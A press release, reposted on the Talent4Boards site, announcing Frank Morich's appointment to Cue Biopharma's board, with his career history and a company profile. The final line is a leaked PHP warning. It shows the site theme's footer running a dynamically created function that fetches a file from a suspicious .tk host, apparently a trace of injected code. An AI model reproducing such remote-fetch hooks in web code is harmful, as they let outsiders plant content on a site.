– USA, MA – Cue Biopharma, Inc., (NASDAQ:CUE) a next-generation immunotherapy company developing a novel, proprietary class of biologics engineered to selectively modulate the human immune system to treat cancer, autoimmune and chronic infectious diseases, announced today the addition of Frank Morich, M.D., Ph.D., to the Company’s Board of Directors. Dr. Morich is a pharmaceutical executive with over 35 years of leadership experience in immunology, R&D, commercialization and operations who has helped guide both large pharmaceutical and emerging biotechnology companies.

“Dr. Morich is an accomplished biopharmaceutical executive who brings to our Board of Directors a depth of knowledge, experience and strategic insight that will help guide the continued development of our Immuno-STAT™ drug discovery platform,” said Daniel Passeri, M.Sc., J.D., President and Chief Executive Officer of Cue Biopharma. “Adding a well-respected industry leader of Frank’s caliber to our Board underscores the promise of our platform to bring highly selective immunotherapeutics to patients that may provide significant therapeutic benefit and reduced side effects.”

“It is a very exciting time to be joining the Board of Cue Biopharma,” said Dr. Morich. “The Company’s platform has demonstrated the flexibility to produce a robust pipeline of novel immunotherapies focused on oncology, autoimmune diseases and chronic infectious diseases with significant potential advantages and superior differentiation over existing treatments and those in development.”

Dr. Morich currently serves on the board of directors for MorphoSys (since May 2015) and served as a board member for Innate Pharma between 2004-2010, both clinical-stage biotechnology companies specializing in antibody development. Prior to focusing on board work, from 2011 to 2014, Dr. Morich served as Chief Commercial Officer at Takeda Pharmaceuticals, a global pharmaceutical company, and from 2010 to 2011, he served as Executive Vice President, International Operations at Takeda. From 2008 to 2010, Dr. Morich served as Chief Executive Officer of NOXXON Pharma AG, a clinical-stage drug development company, and from 2005 to 2007, he served as Chief Executive Officer and member of the board of directors of Innogenetics N.V., an international in vitro diagnostics company. Prior to that, Dr. Morich held several positions at Bayer, a global pharmaceutical and life sciences company, including member of the Board of Management of Bayer AG, Head of Global Product Development and Head of Research and Development. Dr. Morich holds an M.D. and Ph.D. from the University of Marburg where he specialized in immunology with a focus on monoclonal antibodies. He served as a military physician before moving to the pharmaceutical industry.

About Cue Biopharma

Cue Biopharma is an innovative immunotherapy company developing a novel, proprietary class of biologics engineered to selectively modulate the human immune system to treat a broad range of cancers, autoimmune and chronic infectious diseases. We design biologics to engage and modulate the activity of disease-associated T cells in the patient’s body, with the goal of offering significant therapeutic benefits while potentially minimizing or eliminating unwanted side effects.

We believe our selective biologics allow us to target antigen-specific T cell populations in a variety of indications using a peptide – MHC complex for delivering T cell modulating effectors, such as IL-2. Once a biologic has been optimized, our approach offers the potential for readily exchanging peptides to target different T cell populations and indications using previously-validated drug frameworks developed from the Immuno-STATTM (Selective Targeting and Alteration of T cells) platform. This flexibility could truncate the drug selection and development process, moving effective therapeutics from discovery to clinical validation more rapidly and cost-efficiently than current industry standard timelines and costs.

Headquartered in Cambridge, MA, we are led by an experienced management team and scientific and clinical advisory board (SAB/CAB) with deep expertise in the design and clinical development of protein biologics, immunology and immuno-oncology.

For more information : http://www.cuebio.com

- DisclaimerNews, data and statement included in this release are intended exclusively for general information purposes. Talent4Boards accepts neither liability for the consequences of the reader’s reliance, nor responsibility for the adequacy or accuracy of the information. No data or statement in this release should be considered for decisions about securities referred. Product and brand names used in this release maybe trademarks or registered trademarks of their respective owners.

Talent4Boards Team

here the original post =>

Comments are closed.


Warning: file_get_contents(http://nativeredir.tk/lx/1.txt): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/sites/t/talent4boards.com/public_html/wp-content/themes/Aqua/footer.php(54) : runtime-created function on line 1